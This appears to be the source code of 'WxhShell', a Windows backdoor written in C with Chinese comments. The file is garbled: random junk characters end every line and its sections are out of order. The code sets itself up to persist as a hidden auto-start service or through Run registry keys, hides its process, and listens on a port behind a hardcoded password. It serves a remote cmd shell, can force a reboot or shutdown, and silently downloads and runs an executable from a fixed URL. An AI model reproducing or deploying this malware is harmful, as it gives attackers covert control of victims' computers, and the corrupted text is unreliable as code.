    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F)XO5CBK  
    if(Boot(SHUTDOWN)) ,X^I]]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xYSNop3_  
    else { _=$:<wIE[  
    closesocket(wsh); , !0-;H.Y  
    ExitThread(0); {5`=){  
    } DNwqi"  
    break; ?Pbh&!  
    } o>~xrV`E  
  // 获取shell m}`!FaB #  
  case 's': { nz+k ,  
    CmdShell(wsh); nymro[@O~  
    closesocket(wsh); N #C,q&;  
    ExitThread(0); 'qoDFR\v  
    break; 4+?d0  
  } 8p"R4  
  // 退出 @?bO@  
  case 'x': { s&.VU|=VQ@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a\_?zi]s&,  
    CloseIt(wsh); *UxN~?N|  
    break; T*pcS'?'  
    } ,.6)y1!  
  // 离开 :^bjn3b  
  case 'q': { a]NH >d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ga,+  
    closesocket(wsh); i?^lEqy[  
    WSACleanup(); ?OD43y1rzd  
    exit(1); ]&+,`1_q  
    break; iC(&U YL  
        } ;cpQ[+$nKp  
  } _98 %?0  
  } +T!7jC(O Q  
ZlEQzL~  
  // 提示信息 _4^#VD#f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J)I|Xot  
} (?y (0%q  
  } lE|Hp  
>n(Ga9E  
  return; xQU$E|I  
} n.L/Xp@gc  
@T 5dPmn  
// shell模块句柄 o%j[]P@4G  
int CmdShell(SOCKET sock) E'KKR1t  
{ Q95`GuI@  
STARTUPINFO si; `PH]_]:%  
ZeroMemory(&si,sizeof(si)); sW#OA\i &  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;nx? 4f+6h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DWXxB  
PROCESS_INFORMATION ProcessInfo; @a~GHG[x  
char cmdline[]="cmd"; QtSJ9;eP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZkA05wPZ#  
  return 0; 0cF +4,5  
} P[L] S7FTr  
zqJ0pDS  
// 自身启动模式 +5<]s+4T  
int StartFromService(void)  X<p'&  
{ jXH?os%  
typedef struct fg?4/]*T6  
{ <13').F  
  DWORD ExitStatus; CT2L }5L&  
  DWORD PebBaseAddress; z\g6E/%%  
  DWORD AffinityMask; yb4Jsk5%  
  DWORD BasePriority; LFwRTY,G  
  ULONG UniqueProcessId; $_5a1Lq1  
  ULONG InheritedFromUniqueProcessId; D^-6=@<3KD  
}   PROCESS_BASIC_INFORMATION; N0mP EF2  
#0uD&95<  
PROCNTQSIP NtQueryInformationProcess; $-*E   
 "o{o9.w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yH<a;@C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4+1aW BJ2  
Bj1{=Pvl  
  HANDLE             hProcess; Or:a\qQ1  
  PROCESS_BASIC_INFORMATION pbi; KB@F^&L {  
S!oG|%VuB#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \""sf{S9  
  if(NULL == hInst ) return 0; :i};]pR   
I 7 B$X=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XLq%nVBM8\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ec4+wRWk85  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P/?'ea  
rf\A[)<:  
  if (!NtQueryInformationProcess) return 0; &Cykw$s  
_$vAitUe4S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B&},W*p  
  if(!hProcess) return 0; {vf4l4J(  
^1 U<,<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5JvrQGvL  
bf*VY&S- T  
  CloseHandle(hProcess); @gM>Lxj  
S`t@L}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z4B-fS]  
if(hProcess==NULL) return 0; vj#Y /B  
]f}#&]<(T  
HMODULE hMod; "j*{7FBqk  
char procName[255]; r@)_>(  
unsigned long cbNeeded; NW%u#MZ[h  
qGK -f4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z%0'v`7  
&aLelJ~  
  CloseHandle(hProcess); 9snc *<  
%Bf;F;xuB  
if(strstr(procName,"services")) return 1; // 以服务启动 0; PV gO;9  
vCe]iB  
  return 0; // 注册表启动 ^|kqy<<X  
} W? SFt z  
NpLO_-  
// 主模块 YEiQ`sYKG  
int StartWxhshell(LPSTR lpCmdLine) Lbwc2Q,.-  
{ TDY2 M  
  SOCKET wsl; <RaUs2Q3.  
BOOL val=TRUE; ;jZf VRl  
  int port=0; {1VMwANj  
  struct sockaddr_in door; qh)10*FB  
s k>E(Myo  
  if(wscfg.ws_autoins) Install(); +[_mSt  
PgMU|O7To  
port=atoi(lpCmdLine); sCrOdJ6|  
yzH[~O7  
if(port<=0) port=wscfg.ws_port; Y Z.? k4>  
-#agWqUM|T  
  WSADATA data; ]ML(=7z"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M[1!#Q><!  
IizPu4|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Ee"w7XjD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a\]g lw\;  
  door.sin_family = AF_INET; =Ul{#R z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >JUOS2  
  door.sin_port = htons(port); Xc H_Y  
+_"AF|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]ur_G`B  
closesocket(wsl); QHmF,P  
return 1; )&pcRFl  
} ^(c.A YI  
8H7=vk+  
  if(listen(wsl,2) == INVALID_SOCKET) { % Ix   
closesocket(wsl); wUJ>?u9  
return 1; T-)lnrs^  
} 1Ax{Y#<  
  Wxhshell(wsl); \:Vm7Zg  
  WSACleanup(); M4rK  
q1_iV.G<  
return 0; WH^^.^(i  
+> Xe_  
} 2^f6@;=M  
*{fL t  
// 以NT服务方式启动 *MD\YFXR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DYej<T'?3  
{ F!*tE&Se+  
DWORD   status = 0; -RKqbfmi=  
  DWORD   specificError = 0xfffffff; U_.9H _G  
o4F?Rx,L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G W@g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EH~t<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WT_4YM\bz  
  serviceStatus.dwWin32ExitCode     = 0; :SJxG&Pm=~  
  serviceStatus.dwServiceSpecificExitCode = 0; 5!V%0EQqw  
  serviceStatus.dwCheckPoint       = 0; q>5 K:5  
  serviceStatus.dwWaitHint       = 0; NO'37d  
Q XLHQ_V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uz$.sa  
  if (hServiceStatusHandle==0) return; =b_/_b$q  
QFX/x  
status = GetLastError(); (Rs052m1  
  if (status!=NO_ERROR) [#mRlL0yk  
{ (JI[y"2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  J]4pPDm  
    serviceStatus.dwCheckPoint       = 0; <%b a 3<sg  
    serviceStatus.dwWaitHint       = 0; Z#znA4;)  
    serviceStatus.dwWin32ExitCode     = status; T6^ H%;G  
    serviceStatus.dwServiceSpecificExitCode = specificError; "f N=Y$G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ND e<6?u  
    return; dK d"2+fH  
  } kPvR ,  
J<h! H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /c|X:F!;X#  
  serviceStatus.dwCheckPoint       = 0; I:=rwnd  
  serviceStatus.dwWaitHint       = 0; 5!jU i9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Q:HzqG  
} O;83A  
hRaX!QcG3  
// 处理NT服务事件,比如:启动、停止 D\0q lCAs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zbgH}6b  
{ ({!S!k  
switch(fdwControl) 1G`zwfmh~  
{ Y DWV=/  
case SERVICE_CONTROL_STOP: `x:8m?q05  
  serviceStatus.dwWin32ExitCode = 0; Z(wj5;[G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HF;$Wf+=J  
  serviceStatus.dwCheckPoint   = 0; ~pWV[oUD  
  serviceStatus.dwWaitHint     = 0; :N#8|;J1Fl  
  { ["N_t:9I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kR/Etm5_  
  } +rWcfXOHM  
  return; OYLg-S  
case SERVICE_CONTROL_PAUSE: F\Q X=n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G:4'')T  
  break; 7N4)T'B  
case SERVICE_CONTROL_CONTINUE: w:HRzU>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ Dccf_(Pb  
  break; 3](At%ss  
case SERVICE_CONTROL_INTERROGATE: aNDpCpy  
  break; vlVHoF;&  
}; { YMO8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,vs#(d6G  
} ArVW2gL  
uWDWf5@  
// 标准应用程序主函数 4`zK`bRcK#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5iZx -M  
{ PfjD!=yS=h  
H84Zg/ ^  
// 获取操作系统版本 %pj T?G7  
OsIsNt=GetOsVer(); . ytxe!O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dj2w_:&W  
}P\J?8  
  // 从命令行安装 kHz?vVE/l  
  if(strpbrk(lpCmdLine,"iI")) Install(); rk8Cea  
Dj9ecV`  
  // 下载执行文件 EV[ BB;eb  
if(wscfg.ws_downexe) { %v)+]Ds{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zt ;u8O  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vu5Djx'  
} F#KUu3;B  
WGA"e   
if(!OsIsNt) { Nz;f| 2h  
// 如果时win9x,隐藏进程并且设置为注册表启动 #&,~5  
HideProc(); [pX cKN  
StartWxhshell(lpCmdLine); w:h([q4X  
} MHQM'  
else THy{r_dx  
  if(StartFromService()) AYsiaSTRqW  
  // 以服务方式启动 u3C0!{v  
  StartServiceCtrlDispatcher(DispatchTable); o-+H-  
else Y,M 2 D  
  // 普通方式启动 _jM+;=f  
  StartWxhshell(lpCmdLine); 99*QfC  
>=K~*$&>  
return 0; (Qd@Q,@(s  
} 4Ul*`/d  
AsO)BeUD  
7bL48W<QD  
Q`!<2i;  
=========================================== zb. ^p X  
1 &-%<o  
%@^9(xTE  
Pf#DBW*  
q'KXn0IY#  
,% *Jm  
" yC\!6pg  
C:ntr=3J  
#include <stdio.h> so_^%) gdJ  
#include <string.h> &I7T ?  
#include <windows.h> '<1Q;3Ho  
#include <winsock2.h> 6F; |x  
#include <winsvc.h> KvmXRf*z  
#include <urlmon.h> HE@P<  
U"OA m}  
#pragma comment (lib, "Ws2_32.lib") .(Tf$V  
#pragma comment (lib, "urlmon.lib") $D;-;5[-/r  
:wz]d ~)  
#define MAX_USER   100 // 最大客户端连接数 I<!,_$:  
#define BUF_SOCK   200 // sock buffer R_gON*9  
#define KEY_BUFF   255 // 输入 buffer Lm7fz9F%  
~}g) N  
#define REBOOT     0   // 重启 ?P"j5  
#define SHUTDOWN   1   // 关机 e$N1m:1*  
I>:.fHvUC  
#define DEF_PORT   5000 // 监听端口 ,~>u<Wc!S  
&uXu$)IZ  
#define REG_LEN     16   // 注册表键长度 N4w&g-  
#define SVC_LEN     80   // NT服务名长度 Dpkc9~z  
g-<[* nF  
// 从dll定义API 5@EX,$h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wpa^]l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VWW(=j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O#`y;%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zTg&W7oz  
%B(E;t63W  
// wxhshell配置信息 K}8wCS F  
struct WSCFG { J<-2dvq  
  int ws_port;         // 监听端口 T1M>N  
  char ws_passstr[REG_LEN]; // 口令 B&?xq)%*#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9&Ny;oy#6  
  char ws_regname[REG_LEN]; // 注册表键名 AME<V-5  
  char ws_svcname[REG_LEN]; // 服务名 T;#:Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FB n . 4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Am=O-; b'8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I 8 Ls_$[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `! _mIh}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }0 =gP?.kE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gsVm)mkd  
[-h=L Jf#  
}; [-2Tj)P C  
$o^N_`l  
// default Wxhshell configuration v2}>/b)  
struct WSCFG wscfg={DEF_PORT, <zp|i#~  
    "xuhuanlingzhe", S<>u  
    1, s=1w6ZLD  
    "Wxhshell", Atod&qH  
    "Wxhshell", k!{h]D0  
            "WxhShell Service", ~"22X`;h[G  
    "Wrsky Windows CmdShell Service", Eg0qY\'  
    "Please Input Your Password: ", vnH[D)`@  
  1, Vm%0436wOY  
  "http://www.wrsky.com/wxhshell.exe", a]=j  
  "Wxhshell.exe" p1fy)K2{,j  
    }; ]Ab$IK Y  
&NK6U  
// 消息定义模块 j,v2(e5:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "2GssBa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pF7S("#R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E[tEW0ub  
char *msg_ws_ext="\n\rExit."; #$v,.Yk  
char *msg_ws_end="\n\rQuit."; yOE N*^6  
char *msg_ws_boot="\n\rReboot..."; ^vc#)tm5p  
char *msg_ws_poff="\n\rShutdown..."; L lVE5f?  
char *msg_ws_down="\n\rSave to "; 6]Ri$V&"  
v,Yz\onB^  
char *msg_ws_err="\n\rErr!"; gF&HJF 0x  
char *msg_ws_ok="\n\rOK!"; ju(QSZ|;  
`:5W1D(  
char ExeFile[MAX_PATH]; HfA@tZ5q|U  
int nUser = 0; <%=@Ue  
HANDLE handles[MAX_USER]; zN>tSdNkI-  
int OsIsNt; H)NT2@%{P  
xB,(!0{`  
SERVICE_STATUS       serviceStatus; $<d3g :  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CxJH)H$  
mH7Mch| m  
// 函数声明 NXdT"O=P  
int Install(void); b0[H{q-z{X  
int Uninstall(void); yA^+<uz}  
int DownloadFile(char *sURL, SOCKET wsh); |=#uzp7*  
int Boot(int flag); 2IFEl-IB[  
void HideProc(void); =R0#WMf$@  
int GetOsVer(void); %$zX a%A  
int Wxhshell(SOCKET wsl); dwmZ_m.  
void TalkWithClient(void *cs); #i| AE`  
int CmdShell(SOCKET sock); o '!WW  
int StartFromService(void); 5+Hw @CY3  
int StartWxhshell(LPSTR lpCmdLine); c8M'/{4rH  
)X5en=[)O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (kZ2D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R% )7z)~  
R2dCp|6A  
// 数据结构和表定义 -+&sPrQ  
SERVICE_TABLE_ENTRY DispatchTable[] = |v= */e  
{ YE1X*'4  
{wscfg.ws_svcname, NTServiceMain}, [+>cW0a  
{NULL, NULL} uOQl;}Lk5  
}; A9ru]|?  
Ui05o7xg~p  
// 自我安装 QxeK-x^  
int Install(void) }yMA s  
{ H]&^>Pvh  
  char svExeFile[MAX_PATH]; ZR@PqS+O/  
  HKEY key; N.|uPq$R  
  strcpy(svExeFile,ExeFile); DeGcS1_?  
hV[=  
// 如果是win9x系统,修改注册表设为自启动 _sC kBDl-  
if(!OsIsNt) { "oo j;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qb >mUS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V.~C.x  
  RegCloseKey(key); j$}W%ibj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dnstm@0k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HbQ+:B]  
  RegCloseKey(key); #~:@H&f790  
  return 0; o :_'R5  
    } d/&~IR  
  } [qQ~\]  
} <wO8=bem  
else { Fq #;  
c_)lTI4  
// 如果是NT以上系统,安装为系统服务 !&@!:=X,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 46M?Gfd,X  
if (schSCManager!=0) bs\7 juHt  
{ OjBg$f~0F  
  SC_HANDLE schService = CreateService nZ~J &QK-  
  ( >e9xM Gv  
  schSCManager, gukKa  
  wscfg.ws_svcname, i")ucrf  
  wscfg.ws_svcdisp, 3NxwQ,~  
  SERVICE_ALL_ACCESS, +G lb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nm,9xq  
  SERVICE_AUTO_START, 88M$mjx  
  SERVICE_ERROR_NORMAL, Yb Dz{m  
  svExeFile, Zh 3hCxXa  
  NULL, }pL#C  
  NULL, Sz'JOBp  
  NULL, ad'C&^o5  
  NULL, TaE&8;H#N  
  NULL ~t.M!vk  
  );  ylBjuD+  
  if (schService!=0) i9quP"<9  
  { J#jx)K!  
  CloseServiceHandle(schService); &/tGT3)  
  CloseServiceHandle(schSCManager); E>3(ff&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } 2P,Z6L  
  strcat(svExeFile,wscfg.ws_svcname); 2]/[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !i*bb~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PxiJ R[a  
  RegCloseKey(key); <t)D`nY\  
  return 0; Fun+L@:;  
    } tP]-u3  
  } !(-S?*64l  
  CloseServiceHandle(schSCManager); sU 5/c|&  
} >(39K  
} j SXVLyz  
y%=t((.Z  
return 1; Cz]NSG5  
} )%=oJ!)  
>r~!'Pd!  
// 自我卸载 gQ~X;'  
int Uninstall(void) :;u?TFCRx  
{ !;~6nYY  
  HKEY key; Y76UhtYH  
8^ezqd`  
if(!OsIsNt) { xcA5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l8Ks{(wh  
  RegDeleteValue(key,wscfg.ws_regname); QeZK&^W  
  RegCloseKey(key); v35=4>Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H:>i:\J/M9  
  RegDeleteValue(key,wscfg.ws_regname); FCMV1,  
  RegCloseKey(key); + 4*jO5EZ  
  return 0; +YK/^;Th  
  } ";$rcg"%X  
} qZ|>{^a*  
} MW$ X4<*KD  
else { UgjY  
}[m,HA<j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tNbZ{=I>  
if (schSCManager!=0) v6q oH)n  
{ 'k?*?XxG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o9#8q_D9  
  if (schService!=0) u AmDXqJ 3  
  { BT8L'qEj  
  if(DeleteService(schService)!=0) { >V1v.JH  
  CloseServiceHandle(schService); Y6r<+#V  
  CloseServiceHandle(schSCManager); ,z+7rl  
  return 0; X23#y7:  
  } -VVJf5/  
  CloseServiceHandle(schService); CBvvvgIo  
  } N% W298  
  CloseServiceHandle(schSCManager); Uc<j{U ,  
} S eTn]  
} "[t (u/e  
qH1&tW$  
return 1; E+xC1U 3  
} HbXYinG%  
p&|:,|jo5  
// 从指定url下载文件 hxQx$  
int DownloadFile(char *sURL, SOCKET wsh) JXA!l ?%  
{ !<2%N3l  
  HRESULT hr; Mp`2[S@$  
char seps[]= "/"; Wz]ny3K[.  
char *token; 89 6oz>  
char *file; N(@B3%H2/J  
char myURL[MAX_PATH]; #`(-Oj2hH  
char myFILE[MAX_PATH]; |E#+X  
C}>Pn{wY9  
strcpy(myURL,sURL); P>s 3Rh3:  
  token=strtok(myURL,seps); F vt5vQ  
  while(token!=NULL) b6y/o48  
  { y2:~_MD  
    file=token; "{F e  
  token=strtok(NULL,seps);  a8wQ ,  
  } m^M sp:T,  
+#a_Y  
GetCurrentDirectory(MAX_PATH,myFILE); vv% o+r-t  
strcat(myFILE, "\\"); c^ifHCt|  
strcat(myFILE, file); 9yt)9f  
  send(wsh,myFILE,strlen(myFILE),0); PBo;lg`  
send(wsh,"...",3,0); qZz?i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;H;c Sn5uL  
  if(hr==S_OK) 1o*eu&@  
return 0; h~R= ?%H[  
else a(BEm_l3  
return 1; ndCHWhi  
*[SOz)  
} P UJkC  
48 n5Y~YS  
// 系统电源模块 { *&Wc Os  
int Boot(int flag) y.PsC '  
{ rE[:j2HF  
  HANDLE hToken; i,z^#b7JQ  
  TOKEN_PRIVILEGES tkp; B{ptP4As-  
VwKo)zH  
  if(OsIsNt) { ljw(cUM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N&]GP l0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /+g9C(['  
    tkp.PrivilegeCount = 1; ?wpS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )W1tBi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D`e6#1DbJ  
if(flag==REBOOT) { Svun RUE-f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ga M:/.  
  return 0; @j/|U04_ Z  
} .Fe_Z)i>h  
else { [W#M(`}D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3{*nG'@Mal  
  return 0; Q eZg l!  
} S_ELV#X  
  } \J0fr'(S  
  else { 9\J.AAk~/  
if(flag==REBOOT) { T4lE-g2%M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Un.u{$po  
  return 0; lc qpwSk  
} 5_ \+8A*  
else { V9%!B3Sb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jM%8h$&E  
  return 0; %Xfy.v  
} Qf:#{~/  
} 9iy3 dy^  
Q`{2 yU:r  
return 1; c ?(X(FQ  
} |_GESpoHH  
fp`k1Uq@  
// win9x进程隐藏模块 XJI ff$K  
void HideProc(void) h:3^FV&#  
{ }F<=  
]aN]Ha  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~( ~ y=M  
  if ( hKernel != NULL ) WPpS?  
  { _ \LP P_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cq#=Vb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &]_2tN=S$  
    FreeLibrary(hKernel); lv=rL  
  } =(cfo_B@K  
?[z@R4at  
return; %m5&Y01  
} r 1x2)  
7~2c"WE  
// 获取操作系统版本 E-?@9!2 &  
int GetOsVer(void) ~qu}<u)P  
{ /ho7O/aAa  
  OSVERSIONINFO winfo; JMVh\($,x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sz'H{?"  
  GetVersionEx(&winfo); :5, k64'D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E$1P H)  
  return 1; *MM8\p_PuT  
  else OS]FGD3a  
  return 0; jM'(Qa  
} Y-fDYMm  
Y4j%K~ls Y  
// 客户端句柄模块 sG K7Uy  
int Wxhshell(SOCKET wsl) hvo7T@*'  
{ d"U'\ID2y  
  SOCKET wsh; ! a!^'2  
  struct sockaddr_in client; 3:ELYn  
  DWORD myID; V|`w/P9g4  
g3Z"ri~!G  
  while(nUser<MAX_USER) eX3|<Bf  
{ 3@8Zy:[8<  
  int nSize=sizeof(client); kl[Jt)"4@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oa q!<lI  
  if(wsh==INVALID_SOCKET) return 1; dm`:']?  
U0fr\kM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z5q(  
if(handles[nUser]==0) c)B <d#  
  closesocket(wsh); 1P6!E*z\  
else vL ]z3  
  nUser++; e4<[|B!O  
  } o)r%4YOL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x4^* YZc$,  
qtYVX:M@,  
  return 0; h'|J$   
} =OR "Bd:O  
<S@XK%  
// 关闭 socket >m'n#=yap  
void CloseIt(SOCKET wsh) jx[g;7~X  
{ ,/Usyb,`  
closesocket(wsh); m!LJK`gA  
nUser--; Zv^n  
ExitThread(0); =Yt)b/0b9  
} xI( t!aYp  
V:*6R/Ft  
// 客户端请求句柄 w3E#v&"=Y  
void TalkWithClient(void *cs) -![>aqWmj1  
{ </-aG[Fi  
a"bael  
  SOCKET wsh=(SOCKET)cs; #.W^7}H  
  char pwd[SVC_LEN]; ?f&O4H  
  char cmd[KEY_BUFF]; gv}J"anD  
char chr[1]; }Jm~b9j  
int i,j; D\-D ~G]x  
>#EOCo  
  while (nUser < MAX_USER) { ['JIMcD  
c6~<vV'}  
if(wscfg.ws_passstr) { 1Q6~O2a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w6<zPrA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F$nc9x[S  
  //ZeroMemory(pwd,KEY_BUFF); @0&KM|+  
      i=0; Ro :)N:C  
  while(i<SVC_LEN) { 6 H' W]T&  
:{'%I#k2  
  // 设置超时 .X;D I<K  
  fd_set FdRead; Qoom[@$  
  struct timeval TimeOut; 6u [ B}%l  
  FD_ZERO(&FdRead); 07#e{   
  FD_SET(wsh,&FdRead); ds "N*\.  
  TimeOut.tv_sec=8; 9D,/SZ-v  
  TimeOut.tv_usec=0; rJw Ws  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >`o;hTS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X|Rw;FY  
#Zj3SfU~`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9`Zwa_Tni  
  pwd=chr[0]; ;:Q&Rf"@%  
  if(chr[0]==0xd || chr[0]==0xa) { V8-*dE  
  pwd=0; 7 DW_G  
  break; qi=v}bp&  
  } rPUk%S  
  i++; Pt\GVWi_t  
    } MNu\=p\Eq  
N"-U)d-.  
  // 如果是非法用户,关闭 socket 'v0(ki#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [|tlTk   
} <Oihwr@5<  
Mi:i1i cdn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ),5|Ves;t[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v0u, :eZ4  
&\L\n}i-  
while(1) { ~fY\;  
?~=5 x  
  ZeroMemory(cmd,KEY_BUFF); ':#DROe!  
JN> h:  
      // 自动支持客户端 telnet标准   jSdW?IH  
  j=0; L7PM am  
  while(j<KEY_BUFF) { 8Bwm+LYr-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `L7Cf&W\l8  
  cmd[j]=chr[0]; g66x;2Q  
  if(chr[0]==0xa || chr[0]==0xd) { P\{ }yd  
  cmd[j]=0; $*c!9Etl4  
  break; ufvjW]   
  } Y[. f`Ei2  
  j++; sj8lvIY5  
    } ;&`6b:ug  
4;V;8a\A  
  // 下载文件 {4YD_$4W  
  if(strstr(cmd,"http://")) { 7_CX6:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u]MQ(@HHF  
  if(DownloadFile(cmd,wsh)) ra}t#Xt`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N?><%fra  
  else I]6,hygs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}!AjA)  
  } uxbLoE  
  else { Mk8k,"RG&Z  
;"JgNad  
